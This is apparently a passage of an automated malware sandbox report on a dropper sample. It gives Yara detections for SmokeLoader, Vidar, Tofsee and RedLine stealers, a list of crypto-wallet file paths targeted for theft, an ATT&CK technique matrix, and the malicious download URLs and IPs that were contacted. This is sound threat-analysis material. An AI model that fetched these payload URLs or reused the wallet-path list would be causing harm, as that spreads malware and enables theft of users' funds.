Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.ZA3cYU28Yl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ZA3cYU28Yl.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ZA3cYU28Yl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rcvfbte.5f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.333262137.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.333204148.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.327467083.0000000005AC1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.407171768.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.385289105.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.407257194.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.385864770.0000000002441000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9779.exe PID: 2228, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 26.3.A881.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.404265838.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A881.exe PID: 7004, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: window-state.json
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: exodus.conf.json
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: info.seco
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: ElectrumLTC
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: passphrase.json
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: file__0.localstorage
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: Ethereum
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: default_wallet
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: multidoge.wallet
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: seed.seco
Source: 9779.exe, 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp	String found in binary or memory: keystore
Source: 9779.exe, 00000016.00000002.398763241.000000000087A000.00000004.00000020.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Source: Yara match	File source: 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9779.exe PID: 2228, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 27.2.B217.exe.3fb6f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.3fb6f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.3e7ada0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.405ba90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.405ba90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.B217.exe.3e7ada0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.479069139.0000000003E01000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.481840914.0000000004005000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.480913132.0000000003F71000.00000004.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 20.1.A019.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.rcvfbte.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.A019.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.A019.exe.6c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rcvfbte.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.ZA3cYU28Yl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ZA3cYU28Yl.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ZA3cYU28Yl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rcvfbte.5f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.333262137.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.333204148.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.327467083.0000000005AC1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.407171768.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.385289105.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.407257194.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.385864770.0000000002441000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9779.exe PID: 2228, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 26.3.A881.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.404265838.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A881.exe PID: 7004, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,

26_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools111	Input Capture1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API531	Valid Accounts1	Valid Accounts1	Deobfuscate/Decode Files or Information11	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Shared Modules1	Windows Service4	Access Token Manipulation1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Exploitation for Client Execution1	Logon Script (Mac)	Windows Service4	Software Packing43	NTDS	System Information Discovery227	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Command and Scripting Interpreter3	Network Logon Script	Process Injection613	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Service Execution3	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery571	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading31	Proc Filesystem	Virtualization/Sandbox Evasion231	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion231	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection613	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ZA3cYU28Yl.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\72B9.exe	100%	Avira	HEUR/AGEN.1212012
C:\Users\user\AppData\Local\Temp\B217.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\2EE4.exe	100%	Avira	HEUR/AGEN.1212012
C:\Users\user\AppData\Local\Temp\9779.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7F9A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A881.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8ECE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9460.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\rcvfbte	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\293.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\41A3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3657.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\48E7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\969F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B217.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A019.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\lnagngtg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\50E7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\293.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\293.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\48E7.exe	34%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\48E7.exe	77%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\50E7.exe	50%	ReversingLabs	Win32.Infostealer.Generic
C:\Users\user\AppData\Local\Temp\9460.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\9460.exe	77%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\AppData\Local\Temp\969F.exe	35%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx
C:\Users\user\AppData\Local\Temp\A019.exe	47%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
27.0.B217.exe.a90000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
3.0.ZA3cYU28Yl.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
15.0.rcvfbte.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.1.A019.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.A019.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.9460.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.A019.exe.6c15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.3.A881.exe.7f0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
26.2.A881.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
22.2.9779.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.9460.exe.480e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.3.9779.exe.7f0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
42.0.B217.exe.1b0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
15.0.rcvfbte.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.ZA3cYU28Yl.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
15.0.rcvfbte.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.0.B217.exe.1b0000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
15.1.rcvfbte.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.9460.exe.480e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.B217.exe.a90000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
20.2.A019.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.ZA3cYU28Yl.exe.5715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.2.A881.exe.6c0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
16.0.9460.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.0.B217.exe.1b0000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
15.2.rcvfbte.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.ZA3cYU28Yl.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.9460.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.1.ZA3cYU28Yl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.2.B217.exe.1b0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
3.2.ZA3cYU28Yl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.ZA3cYU28Yl.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
3.0.ZA3cYU28Yl.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.3.9460.exe.5f0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.A019.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.B217.exe.a90000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
14.2.rcvfbte.5f15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.0.B217.exe.1b0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
20.0.A019.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.ZA3cYU28Yl.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
27.2.B217.exe.a90000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
27.0.B217.exe.a90000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
22.2.9779.exe.7d0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.0.ZA3cYU28Yl.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.9460.exe.480e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://81.163.30.181/l2.exe	100%	Avira URL Cloud	malware
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://host-data-coin-11.com/	0%	URL Reputation	safe
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	17%	Virustotal		Browse
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://unicupload.top/install5.exe	100%	URL Reputation	phishing
http://74.201.28.62/book/KB5009812.png	0%	Avira URL Cloud	safe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://activity.windows.comr	0%	URL Reputation	safe
http://74.201.28.62/book/KB5009812.exe	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
https://dynamic.t	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
http://81.163.30.181/l3.exe	100%	Avira URL Cloud	malware
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	8.209.70.0	true	false	high
cdn.discordapp.com	162.159.129.233	true	false	high
privacy-tools-for-you-780.com	8.209.70.0	true	false	high
goo.su	104.21.38.221	true	false	high
transfer.sh	144.76.136.153	true	false	high
data-host-coin-8.com	8.209.70.0	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://81.163.30.181/l2.exe	true	Avira URL Cloud: malware	unknown
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://host-data-coin-11.com/	false	URL Reputation: safe	unknown
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://unicupload.top/install5.exe	true	URL Reputation: phishing	unknown
http://74.201.28.62/book/KB5009812.png	true	Avira URL Cloud: safe	unknown
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	true	Avira URL Cloud: malware	unknown
http://74.201.28.62/book/KB5009812.exe	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://81.163.30.181/l3.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000006.00000003.306604066.0000019EF1E49000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307358112.0000019EF1E4E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000006.00000003.306731630.0000019EF1E41000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307338832.0000019EF1E42000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000003.306630585.0000019EF1E5E000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000006.00000003.306731630.0000019EF1E41000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307338832.0000019EF1E42000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 00000006.00000002.307249135.0000019EF1E13000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000018.00000003.402970388.000001C13D36A000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402911904.000001C13D3BE000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402839287.000001C13D38D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.402813003.000001C13D37D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/ip	B217.exe, 0000001B.00000002.479069139.0000000003E01000.00000004.00000001.sdmp, B217.exe, 0000001B.00000002.481840914.0000000004005000.00000004.00000001.sdmp, B217.exe, 0000001B.00000002.480913132.0000000003F71000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000006.00000003.306713287.0000019EF1E45000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000006.00000003.306594986.0000019EF1E67000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307389782.0000019EF1E6A000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000003.306713287.0000019EF1E45000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000006.00000002.307370022.0000019EF1E5A000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306639231.0000019EF1E59000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.306682310.0000019EF1E40000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000018.00000003.404140344.000001C13D37E000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404329534.000001C13D3A0000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404235759.000001C13D819000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404260188.000001C13D802000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.404168368.000001C13D38F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://activity.windows.comr	svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000006.00000002.307249135.0000019EF1E13000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307325279.0000019EF1E3D000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000004.00000002.550308378.0000026E6343D000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000006.00000003.306604066.0000019EF1E49000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.307358112.0000019EF1E4E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000006.00000003.306624775.0000019EF1E60000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000006.00000003.284954142.0000019EF1E31000.00000004.00000001.sdmp	false		high
